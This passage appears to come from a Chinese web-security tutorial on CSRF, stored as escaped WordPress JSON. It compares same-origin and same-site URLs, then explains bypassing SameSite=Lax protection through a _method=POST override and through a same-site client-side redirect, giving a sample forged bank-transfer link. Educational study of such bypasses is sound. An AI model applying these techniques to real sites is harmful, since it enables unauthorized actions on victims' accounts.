\n\u5982\u679c\u4e24\u4e2a URL \u5171\u4eab\u5b8c\u5168\u76f8\u540c\u7684\u65b9\u6848\u3001\u57df\u540d\u548c\u7aef\u53e3，\u5219\u5b83\u4eec\u88ab\u89c6\u4e3a\u5177\u6709\u76f8\u540c\u7684\u6765\u6e90\u3002\u4e00\u4e2a\u7ad9\u70b9\u5305\u542b\u591a\u4e2a\u57df\u540d，\u800c\u4e00\u4e2a\u6e90\u4ec5\u5305\u542b\u4e00\u4e2a\u57df\u540d\u3002
\n\u200b
\n| URL A \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | URL B \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 |\u662f\u5426\u540c\u6e90|\u662f\u5426\u540c\u7ad9|
\n| ————————– | ————————| ——– | ——– |
\n| `https:\/\/example.com` \u00a0 | `https:\/\/example.com` \u00a0 \u00a0 \u00a0 | \u2705 \u00a0 \u00a0 | \u2705 |
\n| `https:\/\/example.com` \u00a0 | `http:\/\/example.com` \u00a0 \u00a0 \u00a0 | \u274c \u00a0 \u00a0 | \u2705 |
\n| `https:\/\/example.com:443` | `https:\/\/example.com:444` | \u274c \u00a0 \u00a0 | \u2705 |
\n| `https:\/\/shop.example.com`| `https:\/\/pay.example.com` | \u274c \u00a0 \u00a0 | \u2705 | <\/p>\n\u7ed5\u8fc7\u8be5\u9632\u5fa1<\/h6>\n
1.\u7528_method\u7ed5\u8fc7LAX<\/h6>\n
LAX\u5c5e\u6027\u65f6\u4f1a\u5728GET\u8bf7\u6c42\u4e2d\u5e26\u4e0acookie，\u53ea\u8981\u5c06\u672c\u662fpost\u7684\u8bf7\u6c42\u8f6c\u6362\u4e3aGET\u8bf7\u6c42\u5c31\u53ef\u4ee5\u5b9e\u73b0\u653b\u51fb\u3002<\/p>\n
\u800c\u654f\u611f\u64cd\u4f5c（\u5982\u4fee\u6539\u90ae\u7bb1）\u4e00\u822c\u5f3a\u5236\u4f7f\u7528post\u65b9\u6cd5，\u653b\u51fb\u8005\u53ef\u4ee5\u5c06\u8bf7\u6c42\u4fee\u6539\u4e3aGET，\u7136\u540e\u5728\u53c2\u6570\u4e2d\u6dfb\u52a0_method=POST，\u800c\u670d\u52a1\u5668\u63a5\u53d7method=POST`\u53c2\u6570\u8986\u76d6\u5b9e\u9645GET\u65b9\u6cd5，\u7ed3\u679c\u5c31\u662f\u670d\u52a1\u5668\u9519\u8bef\u5730\u5c06\u5176\u5f53\u4f5cPOST\u8bf7\u6c42\u5904\u7406，\u4f46\u6d4f\u89c8\u5668\u4ecd\u6309GET\u89c4\u5219\u643a\u5e26Cookie\u3002<\/p>\n
2.\u5ba2\u6237\u7aef\u91cd\u5b9a\u5411<\/h6>\n
\u524d\u63d0\u662f\u5b58\u5728\u4e0e\u76ee\u6807\u7f51\u7ad9\u540c\u7ad9\u70b9\u4e14\u6709\u91cd\u5b9a\u5411\u529f\u80fd\u7684\u7f51\u7ad9<\/p>\n
\u653b\u51fb\u8005\u6784\u9020\u6076\u610f\u94fe\u63a5<\/p>\n
https:\/\/bank.com\/redirect?url=https:\/\/bank.com\/transfer?to=hacker&amount=1000 <\/p>\n
\u53d7\u5bb3\u8005\u4eceevil.com\u70b9\u51fb\u4e86\u8fd9\u4e2a\u94fe\u63a5<\/p>\n
\u7b2c\u4e00\u6b65：\u8bbf\u95ee bank.com\/redirect<\/p>\n
\u8fd9\u662f\u8de8\u7ad9\u8bf7\u6c42（\u56e0\u4e3a\u4ece evil.com \u53d1\u8d77\u7684），\u6240\u4ee5，\u5982\u679c Cookie \u662f SameSite=Strict，\u6d4f\u89c8\u5668\u4e0d\u4f1a\u5e26 Cookie\u3002\u5982\u679c Cookie \u662f SameSite=Lax（\u9ed8\u8ba4），\u6d4f\u89c8\u5668\u4f1a\u5e26 Cookie（\u56e0\u4e3a\u8fd9\u662f\u5bfc\u822a\u8bf7\u6c42）\u3002\u8fd9\u4e00\u6b65\u65e0\u6240\u8c13\u3002<\/p>\n
\u7b2c\u4e8c\u6b65：bank.com\/redirect \u8fd4\u56de\u9875\u9762，\u6267\u884c\u5ba2\u6237\u7aef\u8df3\u8f6c，\u6d4f\u89c8\u5668\u4f1a\u6267\u884c\u8df3\u8f6c\u5230 https:\/\/bank.com\/transfer?to=hacker&amount=1000\u3002\u6b64\u65f6\u6d4f\u89c8\u5668\u8ba4\u4e3a\u8fd9\u662f\u540c\u7ad9\u8bf7\u6c42（\u4ece bank.com\/redirect \u8df3\u8f6c\u5230 bank.com\/transfer），\u6240\u4ee5\u4f1a\u5e26\u4e0a\u6240\u6709 Cookie（\u5305\u62ec SameSite=Strict \u7684 Cookie）\u3002<\/p>\n
\u57fa\u4e8e Referer \u7684\u9a8c\u8bc1<\/h5>\n
\u67d0\u4e9b\u5e94\u7528\u7a0b\u5e8f\u4f7f\u7528 HTTP Referer \u6807\u5934\u6765\u5c1d\u8bd5\u9632\u5fa1 CSRF \u653b\u51fb，\u901a\u5e38\u662f\u901a\u8fc7\u9a8c\u8bc1\u8bf7\u6c42\u662f\u5426\u6765\u81ea\u5e94\u7528\u7a0b\u5e8f\u81ea\u5df1\u7684\u57df\u3002\u8fd9\u901a\u5e38\u4e0d\u5982 CSRF tokens\u9a8c\u8bc1\u6709\u6548\u3002<\/p>\n","protected":false},"excerpt":{"rendered":"
CSRF\u57fa\u672c
\nCSRF（Cross-Site Request Forgery）\u662f\u4e00\u79cd\u5229\u7528Web\u5e94\u7528\u8eab\u4efd\u9a8c\u8bc1\u673a\u5236\u7684\u6f0f\u6d1e\u8fdb\u884c\u653b\u51fb\u7684\u65b9\u5f0f\u3002
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